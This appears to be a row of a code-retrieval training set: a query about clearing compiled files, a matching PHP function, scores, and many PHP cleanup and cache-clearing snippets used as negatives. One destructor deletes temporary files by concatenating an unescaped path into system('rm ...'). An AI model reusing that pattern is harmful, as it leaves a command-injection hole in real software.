$this->view->dropResources();\n }", "public function destroy()\n {\n //\n }", "public function destroy()\n {\n //\n }", "public function destroy()\n {\n //\n }", "public function destroy()\n {\n //\n }", "public function destroy()\n {\n //\n }", "public function destroy()\n {\n //\n }", "public function destroy()\n {\n //\n }", "public function destroy()\n {\n //\n }", "public function destroy()\n {\n $this->items = array();\n }", "public function clearCache() {\n\t\tif (isset($this->twig) && $this->twig instanceof \\Twig_Environment) {\n\t\t\t$cacheDir = $this->twig->getCache(true);\n\n\t\t\tif (isset($cacheDir) && \\is_string($cacheDir)) {\n\t\t\t\t$cacheFiles = new \\RecursiveIteratorIterator(\n\t\t\t\t\tnew \\RecursiveDirectoryIterator($cacheDir),\n\t\t\t\t\t\\RecursiveIteratorIterator::LEAVES_ONLY\n\t\t\t\t);\n\n\t\t\t\tforeach ($cacheFiles as $cacheFile) {\n\t\t\t\t\tif ($cacheFile->isFile()) {\n\t\t\t\t\t\t$filename = $cacheFile->getFilename();\n\n\t\t\t\t\t\tif (!empty($filename) && $filename[0] !== '.') {\n\t\t\t\t\t\t\t@\\unlink($cacheFile->getRealPath());\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\tthrow new TemplateManagerSetupError();\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tthrow new TemplateManagerSetupError();\n\t\t}\n\t}", "public function __destruct()\n {\n if(isset($this->image)) imageDestroy($this->image);\n if(isset($this->temp)) imageDestroy($this->temp);\n }", "public function __destruct()\n {\n unlink($this->tmpListFile);\n }", "public static function destroy()\n {\n session_unset();\n session_destroy();\n }", "public function __destruct()\n {\n unset($this->data);\n }", "function cleanup()\n {\n if (is_object( $this->roottag )) {\n $this->roottag->clear_subtags();\n }\n }", "public function __destruct()\n\t{\n\t\t//Remove temporal files\n\t\tif (isset($this->generated_documents['url_docx']) AND file_exists($this->generated_documents['url_docx']))\n\t\t{\n\t\t\tsystem('rm '.$this->generated_documents['url_docx']);\n\t\t}\n\t\tif (isset($this->generated_documents['url_pdf']) AND file_exists($this->generated_documents['url_pdf']))\n\t\t{\n\t\t\tsystem('rm '.$this->generated_documents['url_pdf']);\n\t\t}\n\t}" ]
[ "0.72635376", "0.6700653", "0.6597704", "0.6539802", "0.6505398", "0.6494549", "0.6433684", "0.6394516", "0.6390715", "0.6371744", "0.6367526", "0.63614506", "0.63614506", "0.63614506", "0.63614506", "0.63614506", "0.63601357", "0.63424903", "0.63424903", "0.63424903", "0.63424903", "0.63424903", "0.63424903", "0.63424903", "0.6325085", "0.6315861", "0.6277652", "0.6247435", "0.62326866", "0.62158465", "0.620712", "0.61918443", "0.6173131", "0.6165517", "0.6129611", "0.6118732", "0.6118732", "0.6091163", "0.6090785", "0.60805506", "0.6077139", "0.60672295", "0.6065815", "0.6056389", "0.6055156", "0.60530216", "0.6050657", "0.60261387", "0.60238487", "0.60065335", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59892625", "0.59738874", "0.59611106", "0.5953818", "0.5952812", "0.59330785", "0.5924597", "0.5924597", "0.5924597", "0.5924597", "0.5924597", "0.5924597", "0.5924597", "0.5924597", "0.592071", "0.5912028", "0.59104794", "0.58939505", "0.58561367", "0.5854908", "0.58376896", "0.5833243" ]
0.74003977
0
Clears list of compiled files.
function clear_files() { $this->files = array(); $this->files_cache = array(); $this->files_cache2 = array(); $this->compiled_code = array(); $this->uncompiled_code = array(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function clearCompileDir();", "public function clear () {\n array_map('unlink', glob(CACHE.\"*.cache\"));\n /*\n $files = scandir(CACHE);\n foreach ($files as $file){\n if (pathinfo($file, PATHINFO_EXTENSION) == 'cache') @unlink(CACHE.$file);\n }\n */\n }", "private function clear()\n {\n $this->files = [];\n $this->cdr_ofs = 0;\n $this->cdr_len = 0;\n $this->opt = [];\n }", "public function emptyCompileDir()\n {\n $this->console(\"Deleting compiled assets\");\n $dir = $this->compilePath() . $this->prefix();\n if (is_dir($dir)) {\n Rails\\Toolbox\\FileTools::emptyDir($dir);\n }\n }", "public static function clear(){\n $directory = \"bin\";\n\n if(is_dir($directory)) {\n $scan = scandir($directory);\n unset($scan[0], $scan[1]); //unset . and ..\n foreach($scan as $file) {\n $filename = \"$directory/$file\";\n $filedate = date (\"d/m/Y\", filemtime($filename));\n\n if( $filedate < date(\"d/m/Y\") )\n unlink($filename);\n }\n }\n }", "public function clean() {\n $this->logger->debug('Deleting of all cache files');\n $list = glob($this->cacheFilePath . '*.cache');\n if (!$list) {\n $this->logger->info('No cache files were found skipping');\n return;\n }\n $this->logger->info('Found [' . count($list) . '] cache files to remove');\n foreach ($list as $file) {\n $this->logger->debug('Processing the cache file [' . $file . ']');\n unlink($file);\n }\n }", "public function clean()\n {\n $dir = new \\Ninja\\Directory(NINJA_DOCROOT . 'public/');\n /**\n * @var $files \\Ninja\\File[]\n */\n\n $files = $dir->scanRecursive(\"*.css\");\n echo \"\\nDeleting Minified Css Files...\\n\";\n foreach($files as $sourceFile)\n {\n // if does not have a numeric pre-extension-suffix foo.#.js (e.g foo.52.js) which are files from a previous build\n if ( ! is_numeric(substr($sourceFile->getName(true), strrpos($sourceFile->getName(true), '.') + 1)) )\n continue;\n\n echo ' ' . $sourceFile->getPath() . \"\\n\";\n $sourceFile->delete();\n\n unset($sourceFile);\n }\n\n $files = $dir->scanRecursive(\"*.js\");\n echo \"\\nDeleting Minified Js Files...\\n\";\n foreach($files as $sourceFile)\n {\n // if does not have a numeric pre-extension-suffix foo.#.js (e.g foo.52.js) which are files from a previous build\n if ( ! is_numeric(substr($sourceFile->getName(true), strrpos($sourceFile->getName(true), '.') + 1)) )\n continue;\n\n echo ' ' . $sourceFile->getPath() . \"\\n\";\n $sourceFile->delete();\n unset($sourceFile);\n }\n }", "public static function cleanCompileDir()\n {\n $total = 0;\n $compileDir = self::getEnvVariable(self::COMPILE_DIR) ?: sys_get_temp_dir();\n\n foreach (glob(\"{$compileDir}/jmespath_*.php\") as $file) {\n $total++;\n unlink($file);\n }\n\n return $total;\n }", "public function cleanAll()\n {\n $this->filesystem->remove(self::getFilesList());\n }", "public function flush() {\n\n\t\tif ( !yourfitness_post( 'yourfitness_flush_compiler_cache' ) )\n\t\t\treturn;\n\n\t\tyourfitness_remove_dir( yourfitness_get_compiler_dir() );\n\n\t}", "public function deleteCompiledTemplates() {\n\t\t// templates\n\t\t$filenames = glob(WCF_DIR.'templates/compiled/*_'.$this->languageID.'_*.php');\n\t\tif ($filenames) foreach ($filenames as $filename) @unlink($filename);\n\t\t\n\t\t// acp templates\n\t\t$filenames = glob(WCF_DIR.'acp/templates/compiled/*_'.$this->languageID.'_*.php');\n\t\tif ($filenames) foreach ($filenames as $filename) @unlink($filename);\n\t}", "public function clearCachefiles () {\r\n\t\r\n\t}", "public function removeRegisteredFiles() {}", "public function clear()\n {\n $iterator = new DirectoryIterator($this->cacheDirectory);\n $extensionPattern = '/' . preg_quote(self::CACHE_SUFFIX) . '$/';\n\n foreach ($iterator as $file) {\n if (false === $file->isFile()) {\n continue;\n }\n\n if (0 === preg_match($extensionPattern, $file->getBaseName())) {\n continue;\n }\n\n unlink($file->getPathName());\n }\n }", "protected function clearFiles()\n {\n $dir = __DIR__ . '/../lang/i18n';\n FileSystem::clearDirectory($dir);\n }", "public function invalidateAll() : void\n {\n $files = glob($this->path . \"/*\"); // get all file names\n foreach ($files as $file) { // iterate files\n if (is_file($file)) {\n unlink($file); // delete file\n }\n }\n }", "private function clean() {\n\t\t$types = ['.aux', '.fdb_latexmk', '.fls', '.log', '.out', '.tex', '.toc'];\n\t\t$s = '';\n\t\tforeach (scandir($this -> directory) as $file) {\n\t\t\tif ($file === '.' || $file === '..') continue;\n\t\t\tforeach ($types as $t) {\n\t\t\t\t$extension = substr($file, 0-strlen($t));\n\t\t\t\tif (in_array($extension, $types) && file_exists($this -> directory . '/' . $file)) {\n\t\t\t\t\tunlink($this -> directory . '/' . basename($file));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "public function clearAll()\n {\n $this->clearDir($this->file_path . '/sb_Cache');\n }", "public function clearEditorTempFilesCommand()\n {\n /** @var EditorTempfile $editorTempFile */\n foreach ($this->editorTempfileRepository->findAll() as $editorTempFile) {\n $this->outputLine(\"Removing \" . $editorTempFile->getResource()->getFilename());\n $this->editorTempfileRepository->remove($editorTempFile);\n }\n $this->outputLine(\"Done.\");\n }", "public function clearframes()\n {\n foreach ($this->parsedfiles as $temp_frame) {\n unlink($temp_frame);\n }\n }", "public function clearExports()\n {\n $location = \"application/export/files/*.*\";\n $files = glob($location); \n foreach($files as $file){\n unlink($file); \n }\n return;\n }", "public function cleanFiles()\n { \n $this->zip();\n // $this->unzip();\n\n if (!empty($this->files)) {\n foreach ($files as $file) {\n $this->clean($file);\n }\n }\n }", "public function clearAll() {}", "public function deleteUnusedFiles(){\n \n }", "function clear()\n {\n # files\n $this->file_objs = array(); # list of file objects\n # params\n $this->name = null;\n $this->meta_updated = null;\n $this->yt_id = null;\n $this->tags = array(); # list of tag strings\n $this->meta_objs = array(); # list of meta objects\n # file_params\n $this->thumb_used = \"\";\n $this->update_files = 0;\n # chapters & comments\n $this->chapters = array();\n $this->comments = array();\n }", "public function clearCache()\n {\n $files = $this->ls('/', 'cache');\n foreach ($files as $file)\n {\n if (is_dir($this->cachePath . '/' . $file))\n {\n $this->$this->recurciveDelete($this->cachePath . '/' . $file);\n } else\n {\n unlink($this->cachePath . '/' . $file);\n }\n }\n }", "public function reset()\n {\n $this->returnedFiles = [];\n }", "public function clear() {\n\t\t$counter = 0;\n\t\t$files = glob( $this->cache_directory . '*' );\n\n\t\tforeach ( $files as $file ) {\n\t\t\tif ( is_file( $file ) ) {\n\t\t\t\tunlink( $file );\n\t\t\t\t$counter ++;\n\t\t\t}\n\t\t}\n\n\t\treturn $counter;\n\t}", "public function clearModules();", "public function clearCacheFiles()\n {\n if (false === $this->cache) {\n return;\n }\n foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($this->cache), RecursiveIteratorIterator::LEAVES_ONLY) as $file) {\n if ($file->isFile()) {\n @unlink($file->getPathname());\n }\n }\n }", "public function cleanFileCache()\n {\n if (is_callable(array('SugarAutoLoader', 'buildCache'))) {\n SugarAutoLoader::buildCache();\n } else {\n // delete dangerous files manually\n @unlink(\"cache/file_map.php\");\n @unlink(\"cache/class_map.php\");\n }\n }", "public static function invalidate() {\n if (is_dir(self::$fileBased))\n {\n $dir = opendir(self::$fileBased);\n while ($file = readdir($dir)) {\n @unlink(YPFramework::getFileName(self::$fileBased, $file));\n }\n }\n }", "public function clearAll() {\n $list = scandir(self::ROOT_PATH . \"/public/{$this->storagePath}\");\n foreach ($list as $file) {\n if ($file == '.' || $file == '..') {\n continue;\n }\n $filePath = self::ROOT_PATH . \"/public/{$this->storagePath}/$file\";\n unlink($filePath);\n }\n $this->_tableGw->delete();\n }", "function _clear_cache_files () {\n\t\t// Memcached code\n\t\tif ($this->USE_MEMCACHED) {\n// TODO\n\t\t// Common (files-based) cache code\n\t\t} else {\n\t\t\t$dh = @opendir($this->CACHE_DIR);\n\t\t\tif (!$dh) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\twhile (($f = readdir($dh)) !== false) {\n\t\t\t\tif ($f == \".\" || $f == \"..\" || !is_file($this->CACHE_DIR.$f)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tif (common()->get_file_ext($f) != \"php\") {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tif (substr($f, 0, strlen($this->_file_prefix)) != $this->_file_prefix) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t// Do delete cache file\n\t\t\t\tif (file_exists($this->CACHE_DIR.$f)) {\n\t\t\t\t\tunlink($this->CACHE_DIR.$f);\n\t\t\t\t}\n\t\t\t}\n\t\t\t@closedir($dh);\n\t\t}\n\t}", "public function clearAll();", "public function clearAll();", "protected function cleanup()\n {\n $cache = sprintf('%s/phantomjs_*', sys_get_temp_dir());\n\n array_map('unlink', glob($cache));\n }", "public function removeAll() {\r\n for ($i = 0; $i < $this->zip->numFiles; $i++) {\r\n $this->zip->deleteIndex($i);\r\n }\r\n }", "public function cleanContrexxCaching()\n {\n $this->_deleteAllFiles();\n }", "private function clearCopyFilePaths() {\n // Clear the copy file paths\n $this->copyFilePaths = [];\n }", "protected function clear()\n {\n $this->optionManager->clear();\n $this->headerManager->clear();\n $this->cookies = [];\n $this->files = [];\n }", "public function clear_all_cache()\r\n {\r\n $CI =& get_instance();\r\n\t $path = $CI->config->item('cache_path');\r\n \r\n $cache_path = ($path == '') ? APPPATH.'cache/' : $path;\r\n \r\n $handle = opendir($cache_path);\r\n\r\n\t\t\tif( get_cache() == 1){\r\n\t\t\t\twhile (($file = readdir($handle))!== FALSE) \r\n\t\t\t\t{\r\n\t\t\t\t\t//Leave the directory protection alone\r\n\t\t\t\t\tif ($file != '.htaccess' && $file != 'index.php')\r\n\t\t\t\t\t{\r\n\t\t\t\t\t @unlink($cache_path.'/'.$file);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\t\t\r\n\t\t\t\t\r\n\t\t\t}\r\n\r\n\r\n closedir($handle);\r\n }", "function cleanup_files() {\n\t$files = glob(\"./*.{mp4,mp3,zip}\", GLOB_BRACE);\n\tforeach ($files as $file) {\n\t\tunlink($file);\n\t}\n}", "function clearall() {\n}", "public function remove_added_files() {\r\n\t\t\t$this->Files_ready = array();\r\n\t\t\t$this->Files_valid = array();\r\n\t\t\t$this->Files_invalid = array();\r\n\t\t\t$this->Files_ready_count = 0;\r\n\t\t\t$this->Files_valid_count = 0;\r\n\t\t\t$this->Files_invalid_count = 0;\r\n\t\t}", "public function reset()\n\t{\n\t\t$this->hasScripts = false;\n\t\t$this->cssFiles = array();\n\t\t$this->css = array();\n\t\t$this->scriptFiles = array();\n\t\t$this->scripts = array();\n\t\t$this->metaTags = array();\n\n\t\t$this->recordCachingAction('clientScript', 'reset', array());\n\t}", "protected function removeFiles() {}", "public static function clear()\n\t\t{\n\t\t\tself::$data = [];\n\t\t\tself::$file = [];\n\t\t}", "public function actionCleartemp()\n {\n $uploadPath = '../web/web_mat/temp/';\n $file = scandir($uploadPath);\n foreach ($file as $key => $value) {\n if ($key >= 2) {\n unlink($uploadPath . $value);\n }\n }\n }", "public function clear_compiled_tpl_by_dir($dir)\n {\n $class_dir = happy_linux_dir::getInstance();\n $dir = $class_dir->strip_slash_from_tail($dir);\n $arr =& $class_dir->get_files_in_dir($dir, 'html');\n\n foreach ($arr as $file) {\n if ($file == 'index.html') {\n continue;\n }\n\n $this->clear_compiled_tpl(XOOPS_ROOT_PATH . '/' . $dir . '/' . $file);\n }\n }", "function purge_files(){\n\t//echo \"<pre>purge_files: To limit disk space, everytime you create an effect all previous files are removed</pre>\\n\";\n\t//echo \"<pre>purge_files: Removing *.png, *.dat,*.vir,*.txt,*.hls,*.gp,*.srt,.*.lms</pre>\\n\";\n\t$directory=getcwd();\n}", "public static function removeCacheFiles() {}", "protected function _clearPaths() {\n\t\tApp::build(array('Vendor' => array('junk')), App::RESET);\n\t\tini_set('include_path', 'junk');\n\t}", "public function clean() {\n // Clean Temporary Files\n if (is_dir($this->tmpPath)) {\n $objects = new \\RecursiveIteratorIterator(\n new \\RecursiveDirectoryIterator($this->tmpPath), \\RecursiveIteratorIterator::SELF_FIRST\n );\n foreach ($objects as $name => $object) {\n if (!$object->isDir()) {\n @unlink($name);\n }\n }\n }\n\n // Clean Cache Files\n if (is_dir($this->cachePath)) {\n $objects = new \\RecursiveIteratorIterator(\n new \\RecursiveDirectoryIterator($this->cachePath), \\RecursiveIteratorIterator::SELF_FIRST\n );\n foreach ($objects as $name => $object) {\n if (!$object->isDir()) {\n @unlink($name);\n }\n }\n }\n }", "public function deleteQueuedSourceFiles()\n\t{\n\t\tforeach ($this->_sourcesToBeDeleted as $source)\n\t\t{\n\t\t\tIOHelper::deleteFile($source, true);\n\t\t}\n\t}", "function buildClean() {\n $this->clean();\n\n foreach ($this->config->getAllowedBuilds() as [$type, $canonizedGlobExpressions]) {\n // TODO use $type to select Asset class, see addAsset\n $asset = new ScssAsset($canonizedGlobExpressions, $this->dir);\n $asset->build();\n }\n }", "public function clear_all()\n {\n }", "public function clear()\n {\n $this->climate->clear();\n }", "public static function clear()\n {\n self::$drivers = array();\n }", "function clear() {\n\t\txdebug_stop_code_coverage();\n\t}", "public function clearJavascripts()\n {\n foreach (array_keys($this->getJavascripts()) as $file)\n {\n $this->removeJavascript($file);\n }\n }", "public static function cleanTemplatesCache()\r\n {\r\n $path = APP_VAR_DIR.'/_compiled/site/*';\r\n exec('rm -rf '.$path);\r\n return true;\r\n }", "public function clearCachedDefinitions();", "public static function clear_cache() {\n $cacheFolder = self::$cache_folder ? self::$cache_folder : self::relative_client_helper_path() . 'cache/';\n if (!$dh = @opendir($cacheFolder)) {\n return;\n }\n while (FALSE !== ($obj = readdir($dh))) {\n if ($obj != '.' && $obj != '..')\n @unlink($cacheFolder . '/' . $obj);\n }\n closedir($dh);\n }", "public function clear() {\n\t\t$files = $this->_getFiles();\n\t\t$this->out(count($files) . ' files found');\n\t\t$this->out('Aborting');\n\t\treturn;\n\t\t$looksGood = $this->in(__d('cake_console', 'Sure?'), array('y', 'n'), 'y');\n\t\tif ($looksGood !== 'y') {\n\t\t\treturn $this->error('Aborted!');\n\t\t}\n\t\tforeach ($files as $file) {\n\t\t\tunlink(BACKUPS . $file);\n\t\t}\n\t\t$this->out('Done: ' . __('%s deleted', count($files)));\n\t}", "public static function clear_all() {\n\t\tstatic::$cache = array();\n\t\tstatic::$mapping = array();\n\t}", "public function clearAll()\n {\n }", "function ClearCache()\n\t{\n\t\tglobal $gCms;\n\t\t$smarty =& $gCms->GetSmarty();\n\n\t\t$smarty->clear_all_cache();\n\t\t$smarty->clear_compiled_tpl();\n\n\t\tif (is_file(TMP_CACHE_LOCATION . '/contentcache.php'))\n\t\t{\n\t\t\tunlink(TMP_CACHE_LOCATION . '/contentcache.php');\n\t\t}\n\n\t\t@touch(cms_join_path(TMP_CACHE_LOCATION,'index.html'));\n\t\t@touch(cms_join_path(TMP_TEMPLATES_C_LOCATION,'index.html'));\n\t}", "function clear_recent_files() {\n\t\n\t $recentfiles = $this->gtk_path . \"recfiles.txt\"; //echo $recentfiles;\n\t\t\n\t\tunlink($recentfiles);\t\n\t\t$this->set_console_message(\"Recent files cleared !!!\");\n\t}", "public function cleanCompilationFolder($files_to_delete)\n {\n foreach ($files_to_delete as $file) {\n if (file_exists($file)) {\n unlink($file);\n }\n }\n }", "function clearCache()\n {\n $cacheDir = $this->container->getParameter('kernel.cache_dir');\n\n $kernel = $this->container->get('kernel');\n\n $cacheDir = realpath($cacheDir.'/../');\n\n\n foreach (array (/*'frontdev','frontprod',*/'dev','prod') as $env)\n {\n foreach (array ('UrlGenerator','UrlMatcher') as $file)\n {\n $cachedFile = $cacheDir.'/'.$env.'/app'.ucfirst($env).$file.'.php';\n //print '<br>'.$cachedFile;\n if (file_exists($cachedFile)) @unlink ($cachedFile);\n\n\n $cachedFile = $cacheDir.'/'.$env.'/app'.$env.$file.'.php';\n //print '<br>'.$cachedFile;\n if (file_exists($cachedFile)) @unlink ($cachedFile);\n }\n }\n\n\n if (function_exists('apc_clear_cache')) apc_clear_cache('user');\n //exit();\n\n }", "public static function cleanAllLists() {\r\n \tself::$list=array();\r\n }", "public function removeAllCache()\n {\n $this->removeBasicCache();\n $this->deleteDirectory($this->pubStatic);\n $this->deleteDirectory($this->varViewPreprocessed);\n $this->deleteDirectory($this->varGeneration);\n $this->deleteDirectory($this->generated);\n }", "public function clearAllPlugins()\n {\n $this->collAllPlugins = null; // important to set this to NULL since that means it is uninitialized\n }", "final public static function clear() {\n static::free_all();\n }", "public static function clear_compiled_rules()\n\t{\n\t\tforeach (self::$_instances as $acl)\n\t\t{\n\t\t\t$acl->initialize_rule();\n\t\t}\n\t}", "private function clear()\n {\n unlink($this->getConfig()->read('tmp_dir') . Evaluator::FILENAME);\n rmdir($this->getConfig()->read('tmp_dir'));\n }", "public static function deleteFiles() : void{\n $files = glob(self::DIRECTORY . '/*');\n foreach($files as $file){\n if(is_file($file))\n unlink($file);\n }\n }", "public function clear(): bool\n {\n $result = [];\n $files = array_diff(scandir($this->config['path']), ['..', '.']);\n $prefixLength = strlen($this->config['prefix']);\n foreach ($files as $file) {\n if (substr($file, 0, $prefixLength) === $this->config['prefix']) {\n $result[] = unlink($this->config['path'] . '/' . $file) === true;\n }\n }\n\n return ! in_array(false, $result);\n }", "public function clear() { //+\n\t\t$this->arShortcodes = array();\n\t}", "public function clearCache() {\n\t\tif (isset($this->twig) && $this->twig instanceof \\Twig_Environment) {\n\t\t\t$cacheDir = $this->twig->getCache(true);\n\n\t\t\tif (isset($cacheDir) && \\is_string($cacheDir)) {\n\t\t\t\t$cacheFiles = new \\RecursiveIteratorIterator(\n\t\t\t\t\tnew \\RecursiveDirectoryIterator($cacheDir),\n\t\t\t\t\t\\RecursiveIteratorIterator::LEAVES_ONLY\n\t\t\t\t);\n\n\t\t\t\tforeach ($cacheFiles as $cacheFile) {\n\t\t\t\t\tif ($cacheFile->isFile()) {\n\t\t\t\t\t\t$filename = $cacheFile->getFilename();\n\n\t\t\t\t\t\tif (!empty($filename) && $filename[0] !== '.') {\n\t\t\t\t\t\t\t@\\unlink($cacheFile->getRealPath());\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\tthrow new TemplateManagerSetupError();\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tthrow new TemplateManagerSetupError();\n\t\t}\n\t}", "public function clear()\n {\n sfToolkit::clearDirectory($this->getConfigCacheDir());\n }", "public function clearTemplateCache()\n {\n $this->loadedTemplates = array();\n }", "function clearGames() {\n\twriteGames([]);\n\tdeleteDirectory('data/games');\n}", "public function compileAll()\n {\n $this->emptyCompileDir();\n \n $this->compileOtherFiles();\n \n $manifestNames = $this->config()->precompile;\n \n foreach ($manifestNames as $manifest) {\n $ext = pathinfo($manifest, PATHINFO_EXTENSION);\n $paths = $this->findAllFiles($manifest);\n foreach ($paths as $path) {\n $this->compileFile(new File($ext, $path));\n }\n }\n }", "public function actionClean() {\n $deletedArr=[];\n $errorArr=[];\n foreach(Finder::find('*')->in(CACHE_DIRECTORY) as $file=>$info){\n try{\n FileSystem::delete($file);\n $deletedArr[]=$file;\n }catch (\\Exception $e){\n $errorArr[]=$file;\n }\n }\n $response=[\n 'state'=>(empty($errorArr)?'OK':'error'),\n 'deleted'=>$deletedArr,\n 'errors'=>$errorArr\n ];\n $this->sendJson($response);\n }", "public function removeCache() {\r\n $files = $this->caches;\r\n while (count($files) > 0) {\r\n @unlink(array_shift($files));\r\n }\r\n\r\n }", "public function cleanTmpFolder() {\n\t\tarray_map('unlink', glob($this->settings->tmp_path . '/*'));\n\t}", "protected function cleanup()\n {\n foreach ($this->temp_files as $file) {\n $this->filesystem->remove($file);\n }\n $this->temp_files = [];\n }", "public function clearAll(){\n\n }", "public function clear()\n {\n foreach ($this->backends as $b) {\n $b->clear();\n }\n }", "public function reset() {\n $this->folders = NULL;\n }", "public function clearCompiled(int $expTime);", "public function clear(): void\n {\n $app = App::get();\n $list = $app->data->getList()\n ->filterBy('key', '.temp/cache/', 'startWith');\n foreach ($list as $item) {\n $app->data->delete($item->key);\n };\n }", "public static function cleanResources()\n {\n File::deleteDirectory(resource_path('sass'));\n File::delete(resource_path('js/app.js'));\n File::delete(resource_path('js/bootstrap.js'));\n }", "private function clear($frames) {\n // Delete all generated frames\n foreach ($frames as $frame) {\n unlink($frame);\n }\n }", "public function _cacheClear() {\n\t\t$content = null;\n\t\tif ( ZC_CACHE == 'apc' ) {\n\t\t\t$info = apc_cache_info( 'user' );\n\t\t\tforeach ( $info[ 'cache_list' ] as $item ) {\n\t\t\t\tif ( preg_match( '/^\\Q'. ZC_CACHE_PREFIX. '\\E/', $item[ 'info' ] ) )\n\t\t\t\t\tapc_delete( $item[ 'info' ] );\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tif ( ( $dh = opendir( ZC_CACHE_DIR ) ) !== false ) {\n\t\t\t\twhile( ( $file = readdir( $dh ) ) !== false ) {\n\t\t\t\t\tif ( ! preg_match( '/\\.cache$/', $file ) || is_dir( $file ) ) continue;\n\t\t\t\t\tunlink( ZC_CACHE_DIR. '/'. $file );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "protected static final function clearCache () {\r\n // Do a new FileDirectory, prepended DOCUMENT_ROOT;\r\n \t$cacheFile = new FileDirectory (CACHE_DIR, TRUE);\r\n \t// Clean-up EVERYTHING, except the dots;\r\n \t// Should use DirectoryIterator here, to be implemented soon;\r\n for ($i = 2, $cacheCount = count ($cacheFile = scandir ($cacheFile)); $i < $cacheCount; ++$i) {\r\n // Just do skip over .dirs and .files;\r\n if ($cacheFile[$i][0] != '.') {\r\n UNLINK ($cacheDirectory . _S . $cacheFile[$i]);\r\n }\r\n }\r\n\r\n // Do return ...\r\n return new B (TRUE);\r\n }", "function w3tc_cdn_purge_files() {\n\t\t$title = __( 'Content Delivery Network (CDN): Purge Tool', 'w3-total-cache' );\n\t\t$results = array();\n\n\t\t$files = Util_Request::get_array( 'files' );\n\n\t\t$purge = array();\n\n\t\t$common = Dispatcher::component( 'Cdn_Core' );\n\n\t\tforeach ( $files as $file ) {\n\t\t\t$local_path = $common->docroot_filename_to_absolute_path( $file );\n\t\t\t$remote_path = $common->uri_to_cdn_uri( $common->docroot_filename_to_uri( $file ) );\n\n\t\t\t$purge[] = $common->build_file_descriptor( $local_path, $remote_path );\n\t\t}\n\n\t\tif ( count( $purge ) ) {\n\t\t\t$common->purge( $purge, false, $results );\n\t\t} else {\n\t\t\t$errors[] = __( 'Empty files list.', 'w3-total-cache' );\n\t\t}\n\n\t\t$path = str_replace( get_home_url(), '', get_stylesheet_directory_uri() );\n\t\tinclude W3TC_INC_DIR . '/popup/cdn_purge.php';\n\t}", "public static function clear_file_contents_cache() {\n\t\tself::$file_contents = [];\n\t}" ]
[ "0.77381855", "0.68133503", "0.67890793", "0.6758797", "0.6649766", "0.66297084", "0.66135365", "0.65831476", "0.65744203", "0.64503", "0.6435481", "0.64108044", "0.63940215", "0.6338074", "0.6320469", "0.6319573", "0.6310255", "0.6286631", "0.6284852", "0.6280917", "0.6271586", "0.6205587", "0.6156592", "0.6100057", "0.6079969", "0.60643923", "0.6062831", "0.6061257", "0.606048", "0.60582185", "0.60241175", "0.6005387", "0.6001358", "0.6000252", "0.59841913", "0.59841913", "0.5970884", "0.59642386", "0.5958099", "0.5952253", "0.5949113", "0.59451514", "0.59450334", "0.5940231", "0.59364647", "0.59301734", "0.59221673", "0.59089464", "0.5907354", "0.5902881", "0.58849394", "0.58385867", "0.5791974", "0.5783998", "0.5776994", "0.57746476", "0.5753307", "0.5744798", "0.5743804", "0.57407975", "0.5736364", "0.5704833", "0.5703207", "0.569919", "0.56973004", "0.5696832", "0.5686233", "0.56835145", "0.5675089", "0.56702363", "0.5668471", "0.5666371", "0.5666366", "0.5651293", "0.56405294", "0.5639391", "0.5631369", "0.56250423", "0.5618226", "0.56069934", "0.5601837", "0.5595991", "0.5576689", "0.55727345", "0.5567373", "0.5534125", "0.55278635", "0.5525895", "0.5522751", "0.5518017", "0.5500966", "0.5500018", "0.549365", "0.54916847", "0.54905796", "0.5481954", "0.5480944", "0.5480303", "0.5476175", "0.546183" ]
0.7813852
0
Loads replacements from .cfg file
function load_replacements($file) { if(@file_exists($file)) { $replace = array(); @include($file); $this->replace = array_merge($this->replace, $replace); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function loadReplacements() {\n\t\t\t$this->arrStrings = array();\n\t\t\t\n\t\t\tif ($this->strCachePath) {\n\t\t\t\tif (file_exists($strCache = $this->strCachePath . '/' . $this->strLanguage . '.php')) {\n\t\t\t\t\t$this->arrStrings = include($strCache);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif (!empty($this->arrFilePath)) {\n\t\t\t\t\tforeach ($this->arrFilePath as $strFilePath) {\n\t\t\t\t\t\tif ($arrFilePaths = $this->listFiles($strFilePath)) {\n\t\t\t\t\t\t\tforeach ($arrFilePaths as $strFile) {\n\t\t\t\t\t\t\t\t$strContents = file_get_contents($strFile);\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tpreg_match_all('/^default: (.*)$/Um', $strContents, $arrDefault);\n\t\t\t\t\t\t\t\t$arrDefault = $arrDefault[1];\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tpreg_match_all('/^replace: (.*)$/Um', $strContents, $arrReplace);\n\t\t\t\t\t\t\t\t$arrReplace = $arrReplace[1];\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif (count($arrDefault) == count($arrReplace)) {\n\t\t\t\t\t\t\t\t\t$this->arrStrings = array_merge($this->arrStrings, array_combine($arrDefault, 